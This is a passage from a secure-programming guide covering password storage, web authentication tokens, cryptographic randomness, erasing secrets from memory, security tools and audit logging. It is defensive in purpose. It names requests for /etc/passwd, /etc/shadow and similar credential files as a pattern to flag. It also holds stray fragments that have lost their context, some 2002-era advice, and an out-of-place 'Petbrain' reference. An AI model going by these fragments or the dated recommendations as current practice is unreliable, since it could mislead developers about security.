• Key derivation / iterated functions: The stored value should be created using a key derivation or key stretching function; such functions are intentionally slightly slow by iterating some operation many times. This slowness is designed to be irrelevant in normal operation, but the additional cycles greatly impede attackers who are trying to do password-guessing on a specific higher-value user account. A key derivation function repeatedly uses a cryptographic hash, a cipher, or HMAC methods. A really common key derivation function is PBKDF2 (Password-Based Key Derivation Function 2); this is RSA Laboratories' Public-Key Cryptography Standards (PKCS) #5 v2.0, RFC 2898, and in "Recommendation for Password-Based Key Derivation" NIST Special Publication 800-132. However, PBKDF2 can be implemented rather quickly in GPUs and specialized hardware, and GPUs in particular are widely available. Today you should prefer iteration algorithms like bcrypt, which is designed to better counter attackers using GPUs and specialized hardware.

If your application permits users to set their passwords, check the passwords and permit only “good” passwords (e.g., not in a dictionary, having certain minimal length, etc.). You may want to look at information such as http://consult.cern.ch/writeup/security/security_3.html on how to choose a good password. You should use PAM if you can, because it supports pluggable password checkers.

11.2. Authenticating on the Web

On the web, a web server is usually authenticated to users by using SSL or TLS and a server certificate - but it’s not as easy to authenticate who the users are. SSL and TLS do support client-side certificates, but there are many practical problems with actually using them (e.g., web browsers don’t support a single user certificate format and users find it difficult to install them). You can learn about how to set up digital certificates from many places, e.g., Petbrain. Using Java or Javascript has its own problems, since many users disable them, some firewalls filter them out, and they tend to be slow. In most cases, requiring every user to install a plug-in is impractical too, though if the system is only for an intranet for a relatively small number of users this may be appropriate.

If you’re building an intranet application, you should generally use whatever authentication system is used by your users. Unix-like systems tend to use Kerberos, NIS+, or LDAP. You may also need to deal with a Windows-based authentication schemes (which can be viewed as proprietary variants of Kerberos and LDAP). Thus, if your organization depend on Kerberos, design your system to use Kerberos. Try to separate the authentication system from the rest of your application, since the organization may (will!) change their authentication system over time. The article Build and implement a single sign-on solution discusses some approaches for implementing single sign-on (SSO) for intranets.

Many techniques for authentication don’t work or don’t work very well for Internet applications. One approach that works in some cases is to use “basic authentication”, which is built into essentially all browsers and servers. Unfortunately, basic authentication sends passwords unencrypted, so it makes passwords easy to steal; basic authentication by itself is really useful only for worthless information. You could store authentication information in the URLs selected by the users, but for most circumstances you should never do this - not only are the URLs sent unprotected over the wire (as with basic authentication), but there are too many other ways that this information can leak to others (e.g., through the browser history logs stored by many browsers, logs of proxies, and to other web sites through the Referer: field). You could wrap all communication with a web server using an SSL/TLS connection (which would encrypt it); this is secure (depending on how you do it), and it’s necessary if you have important data, but note that this is costly in terms of performance. You could also use “digest authentication”, which exposes the communication but at least authenticates the user without exposing the underlying password used to authenticate the user. Digest authentication is intended to be a simple partial solution for low-value communications, but digest authentication is not widely supported in an interoperable way by web browsers and servers. In fact, as noted in a March 18, 2002 eWeek article, Microsoft’s web client (Internet Explorer) and web server (IIS) incorrectly implement the standard (RFC 2617), and thus won’t work with other servers or browsers. Since Microsoft don’t view this incorrect implementation as a serious problem, it will be a very long time before most of their customers have a correctly-working program.

Thus, the most common technique for storing authentication information on the web today is through cookies. Cookies weren’t really designed for this purpose, but they can be used to support authentication - but there are many wrong ways to use them that create security vulnerabilities, so be careful. For more information about cookies, see IETF RFC 2965, along with the older specifications about them. Note that to use cookies, some browsers (e.g., Microsoft Internet Explorer 6) may insist that you have a privacy profile (named p3p.xml on the root directory of the server).

Note that some users don’t accept cookies, so this solution still has some problems. If you want to support these users, you should send this authentication information back and forth via HTML form hidden fields (since nearly all browsers support them without concern). You’d use the same approach as with cookies - you’d just use a different technology to have the data sent from the user to the server. Naturally, if you implement this approach, you need to include settings to ensure that these pages aren’t cached for use by others. However, while I think avoiding cookies is preferable, in practice these other approaches often require much more development effort. Since it’s so hard to implement this on a large scale for many application developers, I’m not currently stressing these approaches. I would rather describe an approach that is reasonably secure and reasonably easy to implement, than emphasize approaches that are too hard to implement correctly (by either developers or users). However, if you can do so without much effort, by all means support sending the authentication information using form hidden fields and an encrypted link (e.g., SSL/TLS). As with all cookies, for these cookies you should turn on the HttpOnly flag unless you have a web browser script that must be able to read the cookie.

Fu [2001] discusses client authentication on the web, along with a suggested approach, and this is the approach I suggest for most sites. The basic idea is that client authentication is split into two parts, a “login procedure” and “subsequent requests.” In the login procedure, the server asks for the user’s username and password, the user provides them, and the server replies with an “authentication token”. In the subsequent requests, the client (web browser) sends the authentication token to the server (along with its request); the server verifies that the token is valid, and if it is, services the request. Another good source of information about web authentication is Seifried [2001].

One serious problem with some web authentication techniques is that they are vulnerable to a problem called "session fixation". In a session fixation attack, the attacker fixes the user’s session ID before the user even logs into the target server, thus eliminating the need to obtain the user’s session ID afterwards. Basically, the attacker obtains an account, and then tricks another user into using the attacker’s account - often by creating a special hypertext link and tricking the user into clicking on it. A good paper describing session fixation is the paper by Mitja Kolsek [2002]. A web authentication system you use should be resistant to session fixation.

A good general checklist that covers website authentication is Mark Burnett’s articles on SecurityFocus.

  exp=t&data=s&digest=m

  exp=t&data=s&client=c&digest=m

 exp=2002-12-30T1800&user=fred&session=1234&client=5.6.7.8

101cebfcc6ff86bc483e0538f616e9f5e9894d94

11.3. Random Numbers

In many cases secure programs must generate “random” numbers that cannot be guessed by an adversary. Examples include session keys, public or private keys, symmetric keys, nonces and IVs used in many protocols, salts, and so on. Ideally, you should use a truly random source of data for random numbers, such as values based on radioactive decay (through precise timing of Geiger counter clicks), atmospheric noise, or thermal noise in electrical circuits. Some computers have a hardware component that functions as a real random value generator, and if it’s available you should use it.

However, most computers don’t have hardware that generates truly random values, so in most cases you need a way to generate random numbers that is sufficiently random that an adversary can’t predict it. In general, this means that you’ll need three things:

• An “unguessable” state; typically this is done by measuring variances in timing of low-level devices (keystrokes, disk drive arm jitter, etc.) in a way that an adversary cannot control.

• A cryptographically strong pseudo-random number generator (PRNG), which uses the state to generate “random” numbers.

• A large number of bits (in both the seed and the resulting value used). There’s no point in having a strong PRNG if you only have a few possible values, because this makes it easy for an attacker to use brute force attacks. The number of bits necessary varies depending on the circumstance, however, since these are often used as cryptographic keys, the normal rules of thumb for keys apply. For a symmetric key (result), I’d use at least 112 bits (3DES), 128 bits is a little better, and 160 bits or more is even safer.

A real danger with PRNGs is that most computer language libraries include a large set of pseudo-random number generators (PRNGs) which are inappropriate for security purposes. Let me say it again: do not use typical random number generators for security purposes. Typical library PRNGs are intended for use in simulations, games, and so on; they are not sufficiently random for use in security functions such as key generation. Most non-cryptographic library PRNGs are some variation of “linear congruential generators”, where the “next” random value is computed as "(aX+b) mod m" (where X is the previous value). Good linear congruential generators are fast and have useful statistical properties, making them appropriate for their intended uses. The problem with such PRNGs is that future values can be easily deduced by an attacker (though they may appear random). Other algorithms for generating random numbers quickly, such as quadratic generators and cubic generators, have also been broken [Schneier 1996]. In short, you have to use cryptographically strong PRNGs to generate random numbers in secure applications - ordinary random number libraries are not sufficient.

Failing to correctly generate truly random values for keys has caused a number of problems, including holes in Kerberos, the X window system, and NFS [Venema 1996].

If possible, you should use system services (typically provided by the operating system) that are expressly designed to create cryptographically secure random values. For example, the Linux kernel (since 1.3.30) includes a random number generator, which is sufficient for many security purposes. This random number generator gathers environmental noise from device drivers and other sources into an entropy pool. When accessed as /dev/random, random bytes are only returned within the estimated number of bits of noise in the entropy pool (when the entropy pool is empty, the call blocks until additional environmental noise is gathered). When accessed as /dev/urandom, as many bytes as are requested are returned even when the entropy pool is exhausted. If you are using the random values for cryptographic purposes (e.g., to generate a key) on Linux, use /dev/random. *BSD systems also include /dev/random. Solaris users with the SUNWski package also have /dev/random. Note that if a hardware random number generator is available and its driver is installed, it will be used instead. More information is available in the system documentation random(4).

On other systems, you’ll need to find another way to get truly random results. One possibility for other Unix-like systems is the Entropy Gathering Daemon (EGD), which monitors system activity and hashes it into random values; you can get it at http://www.lothar.com/tech/crypto. You might consider using a cryptographic hash function on PRNG outputs. By using a hash algorithm, even if the PRNG turns out to be guessable, this means that the attacker must now also break the hash function.

If you have to implement a strong PRNG yourself, a good choice for a cryptographically strong (and patent-unencumbered) PRNG is the Yarrow algorithm; you can learn more about Yarrow from http://www.counterpane.com/yarrow.html. Some other PRNGs can be useful, but many widely-used ones have known weaknesses that may or may not matter depending on your application. Before implementing a PRNG yourself, consult the literature, such as [Kelsey 1998] and [McGraw 2000a]. You should also examine IETF RFC 1750. NIST has some useful information; see the NIST publication 800-22 and NIST errata. You should know about the diehard tests too. You might want to examine the paper titled "how Intel checked its PRNG", but unfortunately that paper appears to be unavailable now.

11.4. Specially Protect Secrets (Passwords and Keys) in User Memory

If your application must handle passwords or non-public keys (such as session keys, private keys, or secret keys), try to hide them and overwrite them immediately after using them so they have minimal exposure. Tal Garfinkel has shown that many programs fail to do so, and that this is a serious problem.

Systems such as Linux support the mlock() and mlockall() calls to keep memory from being paged to disk (since someone might acquire the key later from the swap file). Note that on Linux before version 2.6.9 this is a privileged system call, which causes its own issues (do I grant the program superuser privileges so it can call mlock, if it doesn’t need them otherwise?). The Linux kernel version 2.6.9 and greater allow user processes to lock a limited amount of memory, so in that case, always use mlock() for memory used to store private keys and/or valuable passwords. Keep the amount of locked memory to a minimum, treating it as a precious resource. If a system allowed users to lock lots of memory, it’d be easy to halt the whole system (by forcing it to run out of memory), which is why this request is privileged or severely restricted.

Also, if your program handles such secret values, be sure to disable creating core dumps (via ulimit). Otherwise, an attacker may be able to halt the program and find the secret value in the data dump.

Beware - normally processes can monitor other processes through the calls for debuggers (e.g., via ptrace(2) and the /proc pseudo-filesystem) [Venema 1996] Kernels usually protect against these monitoring routines if the process is setuid or setgid (on the few ancient ones that don’t, there really isn’t a good way to defend yourself other than upgrading). Thus, if your process manages secret values, you probably should make it setgid or setuid (to a different unprivileged group or user) to forceably inhibit this kind of monitoring. Unless you need it to be setuid, use setgid (since this grants fewer privileges).

Then there’s the problem of being able to actually overwrite the value, which often becomes language and compiler specific. In many languages, you need to make sure that you store such information in mutable locations, and then overwrite those locations. For example, in Java, don’t use the type String to store a password because Strings are immutable (they will not be overwritten until garbage-collected and then reused, possibly a far time in the future). Instead, in Java use char[] to store a password, so it can be immediately overwritten. In Ada, use type String (an array of characters), and not type Unbounded_String, to make sure that you have control over the contents.

In many languages (including C and C++), be careful that the compiler doesn’t optimize away the "dead code" for overwriting the value - since in this case it’s not dead code. Many compilers, including many C/C++ compilers, remove writes to stores that are no longer used - this is often referred to as "dead store removal." Unfortunately, if the write is really to overwrite the value of a secret, this means that code that appears to be correct will be silently discareded. Ada provides the pragma Inspection_Point; place this after the code erasing the memory, and that way you can be certain that the object containing the secret will really be erased (and that the the overwriting won’t be optimized away).

A Bugtraq post by Andy Polyakov (November 7, 2002) reported that the C/C++ compilers gcc version 3 or higher, SGI MIPSpro, and the Microsoft compilers eliminated simple inlined calls to memset intended to overwrite secrets. This is allowed by the C and C++ standards. Other C/C++ compilers (such as gcc less than version 3) preserved the inlined call to memset at all optimization levels, showing that the issue is compiler-specific. Simply declaring that the destination data is volatile doesn’t help on all compilers; both the MIPSpro and Microsoft compilers ignored simple "volatilization". Simply "touching" the first byte of the secret data doesn’t help either; he found that the MIPSpro and GCC>=3 cleverly nullify only the first byte and leave the rest intact (which is actually quite clever - the problem is that the compiler’s cleverness is interfering with our goals). One approach that seems to work on all platforms is to write your own implementation of memset with internal "volatilization" of the first argument (this code is based on a workaround proposed by Michael Howard):

 void *guaranteed_memset(void *v,int c,size_t n)
  { volatile char *p=v; while (n--) *p++=c; return v; }

11.5. Cryptographic Algorithms and Protocols

Often cryptographic algorithms and protocols are necessary to keep a system secure, particularly when communicating through an untrusted network such as the Internet. Where possible, use cryptographic techniques to authenticate information and keep the information private (but don’t assume that simple encryption automatically authenticates as well). Generally you’ll need to use a suite of available tools to secure your application.

For background information and code, you should probably look at the classic text “Applied Cryptography” [Schneier 1996]. The newsgroup “sci.crypt” has a series of FAQ’s; you can find them at many locations, including http://www.landfield.com/faqs/cryptography-faq. Linux-specific resources include the Linux Encryption HOWTO at http://marc.mutz.com/Encryption-HOWTO/. A discussion on how protocols use the basic algorithms can be found in [Opplinger 1998]. A useful collection of papers on how to apply cryptography in protocols can be found in [Stallings 1996]. What follows here is just a few comments; these areas are rather specialized and covered more thoroughly elsewhere.

Cryptographic protocols and algorithms are difficult to get right, so do not create your own. Instead, where you can, use protocols and algorithms that are widely-used, heavily analyzed, and accepted as secure. When you must create anything, give the approach wide public review and make sure that professional security analysts examine it for problems. In particular, do not create your own encryption algorithms unless you are an expert in cryptology, know what you’re doing, and plan to spend years in professional review of the algorithm. Creating encryption algorithms (that are any good) is a task for experts only.

A number of algorithms are patented; even if the owners permit “free use” at the moment, without a signed contract they can always change their minds later, putting you at extreme risk later. In general, avoid all patented algorithms - in most cases there’s an unpatented approach that is at least as good or better technically, and by doing so you avoid a large number of legal problems.

Another complication is that many counties regulate or restrict cryptography in some way. A survey of legal issues is available at the “Crypto Law Survey” site, http://rechten.kub.nl/koops/cryptolaw/.

Often, your software should provide a way to reject “too small” keys, and let the user set what “too small” is. For RSA keys, 512 bits is too small for use. There is increasing evidence that 1024 bits for RSA keys is not enough either; Bernstein has suggested techniques that simplify brute-forcing RSA, and other work based on it (such as Shamir and Tromer’s "Factoring Large Numbers with the TWIRL device") now suggests that 1024 bit keys can be broken in a year by a $10 Million device. You may want to make 2048 bits the minimum for RSA if you really want a secure system. For more about RSA specifically, see RSA’s commentary on Bernstein’s work. For a more general discussion of key length and other general cryptographic algorithm issues, see NIST’s key management workshop in November 2001.

  H(k xor opad, H(k xor ipad, data)).

11.6. Using PAM

Pluggable Authentication Modules (PAM) is a flexible mechanism for authenticating users. Many Unix-like systems support PAM, including Solaris, nearly all Linux distributions (e.g., Red Hat Linux, Caldera, and Debian as of version 2.2), and FreeBSD as of version 3.1. By using PAM, your program can be independent of the authentication scheme (passwords, SmartCards, etc.). Basically, your program calls PAM, which at run-time determines which “authentication modules” are required by checking the configuration set by the local system administrator. If you’re writing a program that requires authentication (e.g., entering a password), you should include support for PAM. You can find out more about the Linux-PAM project at http://www.kernel.org/pub/linux/libs/pam/index.html.

11.7. Tools

Some tools may help you detect security problems before you field the result. They can’t find all such problems, of course, but they can help catch problems that would overwise slip by. Here are a few tools, emphasizing open source / free software tools.

One obvious type of tool is a program to examine the source code to search for patterns of known potential security problems (e.g., calls to library functions in ways are often the source of security vulnerabilities). These kinds of programs are called “source code scanners”. Here are a few such tools:

• Flawfinder, which I’ve developed; it’s available at https://www.dwheeler.com/flawfinder. This is also a program that scans C/C++ source code for common problems, and is also licensed under the GPL. Unlike RATS, flawfinder is implemented in Python. The developers of RATS and Flawfinder have agreed to find a way to work together to create a single “best of breed” open source program.

• RATS (Rough Auditing Tool for Security) from Secure Software Solutions is available at http://www.securesw.com/rats. This program scans C/C++ source code for common problems, and is licensed under the GPL.

• ITS4 from Cigital (formerly Reliable Software Technologies, RST) also statically checks C/C++ code. It is available free for non-commercial use, including its source code and with certain modification and redistribution rights. Note that this isn’t released as “open source” as defined by the Open Source Definition (OSD) - In particular, OSD point 6 forbids “non-commercial use only” clauses in open source licenses. ITS4 is available at http://www.rstcorp.com/its4.

• Splint (formerly named LCLint) is a tool for statically checking C programs. With minimal effort, splint can be used as a better lint. If additional effort is invested adding annotations to programs, splint can perform stronger checking than can be done by any standard lint. For example, it can be used to statically detect likely buffer overflows. The software is licensed under the GPL and is available at http://www.splint.org.

• cqual is a type-based analysis tool for finding bugs in C programs. cqual extends the type system of C with extra user-defined type qualifiers, e.g., it can note that values are “tainted” or “untainted” (similar to Perl’s taint checking). The programmer annotates their program in a few places, and cqual performs qualifier inference to check whether the annotations are correct. cqual presents the analysis results using Program Analysis Mode, an emacs-based interface. The current version of cqual can detect potential format-string vulnerabilities in C programs. A previous incarnation of cqual, Carillon, has been used to find Y2K bugs in C programs. The software is licensed under the GPL and is available from http://www.cs.berkeley.edu/Research/Aiken/cqual.

• Smatch is a general-purpose static analysis tools for C/C++ programs. It generates output describing statically-determined states in a program, and has an API to let you define queries for potentially bad situations. It was originally designed to analyze the Linux kernel. More information is at http://smatch.sourceforge.net.

• Cyclone is a C-like language intended to remove C’s security weaknesses. In theory, you can always switch to a language that is “more secure,” but this doesn’t always help (a language can help you avoid common mistakes but it can’t read your mind). John Viega has reviewed Cyclone, and in December 2001 he said: “Cyclone is definitely a neat language. It’s a C dialect that doesn’t feel like it’s taking away any power, yet adds strong safety guarantees, along with numerous features that can be a real boon to programmers. Unfortunately, Cyclone isn’t yet ready for prime time. Even with crippling limitations aside, it doesn’t yet offer enough advantages over Java (or even C with a good set of tools) to make it worth the risk of using what is still a very young technology. Perhaps in a few years, Cyclone will mature into a robust, widely supported language that comes dangerously close to C in terms of efficiency. If that day comes, you’ll certainly see me abandoning C for good.” The Cyclone compiler has been released under the GPL and LGPL. You can get more information from the Cyclone web site.

Some tools try to detect potential security flaws at run-time, either to counter them or at least to warn the developer about them. Much of Crispin Cowan’s work, such as StackGuard, fits here.

There are several tools that try to detect various C/C++ memory-management problems; these are really general-purpose software quality improvement tools, and not specific to security, but memory management problems can definitely cause security problems. An especially capable tool is Valgrind, which detects various memory-management problems (such as use of uninitialized memory, reading/writing memory after it’s been free’d, reading/writing off the end of malloc’ed blocks, and memory leaks). Another such tool is Electric Fence (efence) by Bruce Perens, which can detect certain memory management errors. Memwatch (public domain) and YAMD (GPL) can detect memory allocation problems for C and C++. You can even use the built-in capabilities of the GNU C library’s malloc library, which has the MALLOC_CHECK_ environment variable (see its manual page for more information). There are many others.

Another approach is to create test patterns and run the program, in attempt to find weaknesses in the program. Here are a few such tools:

• BFBTester, the Brute Force Binary Tester, is licensed under the GPL. This program does quick security checks of binary programs. BFBTester performs checks of single and multiple argument command line overflows and environment variable overflows. Version 2.0 and higher can also watch for tempfile creation activity (to check for using unsafe tempfile names). At one time BFBTester didn’t run on Linux (due to a technical issue in Linux’s POSIX threads implementation), but this has been fixed as of version 2.0.1. More information is available at http://bfbtester.sourceforge.net/

• The fuzz program is a tool for testing other software. It tests programs by bombarding the program being evaluated with random data. This tool isn’t really specific to security.

• SPIKE is a "fuzzer creation kit", i.e., it’s a toolkit designed to create "random" tests to find security problems. The SPIKE toolkit is particularly designed for protocol analysis by simulating network protocol clients, and SPIKE proXy is a tool built on SPIKE to test web applications. SPIKE includes a few pre-canned tests. SPIKE is licensed under the GPL.

There are a number of tools that try to give you insight into running programs that can also be useful when trying to find security problems in your code. This includes symbolic debuggers (such as gdb) and trace programs (such as strace and ltrace). One interesting program to support analysis of running code is Fenris (GPL license). Its documentation describes Fenris as a “multipurpose tracer, stateful analyzer and partial decompiler intended to simplify bug tracking, security audits, code, algorithm or protocol analysis - providing a structural program trace, general information about internal constructions, execution path, memory operations, I/O, conditional expressions and much more.” Fenris actually supplies a whole suite of tools, including extensive forensics capabilities and a nice debugging GUI for Linux. A list of other promising open source tools that can be suitable for debugging or code analysis is available at http://lcamtuf.coredump.cx/fenris/debug-tools.html. Another interesting program along these lines is Subterfugue, which allows you to control what happens in every system call made by a program.

If you’re building a common kind of product where many standard potential flaws exist (like an ftp server or firewall), you might find standard security scanning tools useful. One good one is Nessus; there are many others. These kinds of tools are very useful for doing regression testing, but since they essentially use a list of past specific vulnerabilities and common configuration errors, they may not be very helpful in finding problems in new programs.

Often, you’ll need to call on other tools to implement your secure infrastructure. The Open-Source PKI Book describes a number of open source programs for implementing a public key infrastructure (PKI).

Of course, running a “secure” program on an insecure platform configuration makes little sense. You may want to examine hardening systems, which attempt to configure or modify systems to be more resistant to attacks. For Linux, one hardening system is Bastille Linux, available at http://www.bastille-linux.org.

Another list of security tools is available at http://www.insecure.org/tools.html.

11.8. Windows CE

If you’re securing a Windows CE Device, you should read Maricia Alforque’s "Creating a Secure Windows CE Device" at http://msdn.microsoft.com/library/techart/winsecurity.htm.

11.9. Write Audit Records

Write audit logs for program startup, session startup, and for suspicious activity. Possible information of value includes date, time, uid, euid, gid, egid, terminal information, process id, and command line values. You may find the function syslog(3) helpful for implementing audit logs. One awkward problem is that any logging system should be able to record a lot of information (since this information could be very helpful), yet if the information isn’t handled carefully the information itself could be used to create an attack. After all, the attacker controls some of the input being sent to the program. When recording data sent by a possible attacker, identify a list of “expected” characters and escape any “unexpected” characters so that the log isn’t corrupted. Not doing this can be a real problem; users may include characters such as control characters (especially NIL or end-of-line) that can cause real problems. For example, if an attacker embeds a newline, they can then forge log entries by following the newline with the desired log entry. Sadly, there doesn’t seem to be a standard convention for escaping these characters. I’m partial to the URL escaping mechanism (%hh where hh is the hexadecimal value of the escaped byte) but there are others including the C convention (\ooo for the octal value and \X where X is a special symbol, e.g., \n for newline). There’s also the caret-system (^I is control-I), though that doesn’t handle byte values over 127 gracefully.

There is the danger that a user could create a denial-of-service attack (or at least stop auditing) by performing a very large number of events that cut an audit record until the system runs out of resources to store the records. One approach to counter to this threat is to rate-limit audit record recording; intentionally slow down the response rate if “too many” audit records are being cut. You could try to slow the response rate only to the suspected attacker, but in many situations a single attacker can masquerade as potentially many users.

Selecting what is “suspicious activity” is, of course, dependent on what the program does and its anticipated use. Any input that fails the filtering checks discussed earlier is certainly a candidate (e.g., containing NIL). Inputs that could not result from normal use should probably be logged, e.g., a CGI program where certain required fields are missing in suspicious ways. Any input with phrases like /etc/passwd or /etc/shadow or the like is very suspicious in many cases. Similarly, trying to access Windows “registry” files or .pwl files is very suspicious.

Do not record passwords in an audit record. Often people accidentally enter passwords for a different system, so recording a password may allow a system administrator to break into a different computer outside the administrator’s domain.

11.10. Physical Emissions

Although it’s really outside the scope of this book, it’s important to remember that computing and communications equipment leaks a lot information that makes them hard to really secure. Many people are aware of TEMPEST requirements which deal with radio frequency emissions of computers, displays, keyboards, and other components which can be eavesdropped. The light from displays can also be eavesdropped, even if it’s bounced off an office wall at great distance [Kuhn 2002]. Modem lights are also enough to determine the underlying communication.

11.11. Miscellaneous

The following are miscellaneous security guidelines that I couldn’t seem to fit anywhere else:

Have your program check at least some of its assumptions before it uses them (e.g., at the beginning of the program). For example, if you depend on the “sticky” bit being set on a given directory, test it; such tests take little time and could prevent a serious problem. If you worry about the execution time of some tests on each call, at least perform the test at installation time, or even better at least perform the test on application start-up.

If you have a built-in scripting language, it may be possible for the language to set an environment variable which adversely affects the program invoking the script. Defend against this.

If you need a complex configuration language, make sure the language has a comment character and include a number of commented-out secure examples. Often “#” is used for commenting, meaning “the rest of this line is a comment”.

If possible, don’t create setuid or setgid root programs; make the user log in as root instead.

Sign your code. That way, others can check to see if what’s available was what was sent.

In some applications you may need to worry about timing attacks, where the variation in timing or CPU utilitization is enough to give away important information. This kind of attack has been used to obtain keying information from Smartcards, for example. Mauro Lacy has published a paper titled Remote Timing Techniques, showing that you can (in some cases) determine over an Internet whether or not a given user id exists, simply from the effort expended by the CPU (which can be detected remotely using techniques described in the paper). The only way to deal with these sorts of problems is to make sure that the same effort is performed even when it isn’t necessary. The problem is that in some cases this may make the system more vulnerable to a denial of service attack, since it can’t optimize away unnecessary work.

Consider statically linking secure programs. This counters attacks on the dynamic link library mechanism by making sure that the secure programs don’t use it. There are several downsides to this however. This is likely to increase disk and memory use (from multiple copies of the same routines). Even worse, it makes updating of libraries (e.g., for security vulnerabilities) more difficult - in most systems they won’t be automatically updated and have to be tracked and implemented separately.

When reading over code, consider all the cases where a match is not made. For example, if there is a switch statement, what happens when none of the cases match? If there is an “if” statement, what happens when the condition is false?

Merely “removing” a file doesn’t eliminate the file’s data from a disk; on most systems this simply marks the content as “deleted” and makes it eligible for later reuse, and often data is at least temporarily stored in other places (such as memory, swap files, and temporary files). Indeed, against a determined attacker, writing over the data isn’t enough. A classic paper on the problems of erasing magnetic media is Peter Gutmann’s paper “Secure Deletion of Data from Magnetic and Solid-State Memory”. A determined adversary can use other means, too, such as monitoring electromagnetic emissions from computers (military systems have to obey TEMPEST rules to overcome this) and/or surreptitious attacks (such as monitors hidden in keyboards).

When fixing a security vulnerability, consider adding a “warning” to detect and log an attempt to exploit the (now fixed) vulnerability. This will reduce the likelihood of an attack, especially if there’s no way for an attacker to predetermine if the attack will work, since it exposes an attack in progress. In short, it turns a vulnerability into an intrusion detection system. This also suggests that exposing the version of a server program before authentication is usually a bad idea for security, since doing so makes it easy for an attacker to only use attacks that would work. Some programs make it possible for users to intentionally “lie” about their version, so that attackers will use the “wrong attacks” and be detected. Also, if the vulnerability can be triggered over a network, please make sure that security scanners can detect the vulnerability. I suggest contacting Nessus (http://www.nessus.org) and make sure that their open source security scanner can detect the problem. That way, users who don’t check their software for upgrades will at least learn about the problem during their security vulnerability scans (if they do them as they should).

Always include in your documentation contact information for where to report security problems. You should also support at least one of the common email addresses for reporting security problems (security-alert@SITE, secure@SITE, or security@SITE); it’s often good to have support@SITE and info@SITE working as well. Be prepared to support industry practices by those who have a security flaw to report, such as the Full Disclosure Policy (RFPolicy) and the IETF Internet draft, “Responsible Vulnerability Disclosure Process”. It’s important to quickly work with anyone who is reporting a security flaw; remember that they are doing you a favor by reporting the problem to you, and that they are under no obligation to do so. It’s especially important, once the problem is fixed, to give proper credit to the reporter of the flaw (unless they ask otherwise). Many reporters provide the information solely to gain the credit, and it’s generally accepted that credit is owed to the reporter. Some vendors argue that people should never report vulnerabilities to the public; the problem with this argument is that this was once common, and the result was vendors who denied vulnerabilities while their customers were getting constantly subverted for years at a time.

Follow best practices and common conventions when leading a software development project. If you are leading an open source software / free software project, some useful guidelines can be found in Free Software Project Management HOWTO and Software Release Practice HOWTO; you should also read The Cathedral and the Bazaar.

Every once in a while, review security guidelines like this one. At least re-read the conclusions in Chapter 12, and feel free to go back to the introduction (Chapter 1) and start again!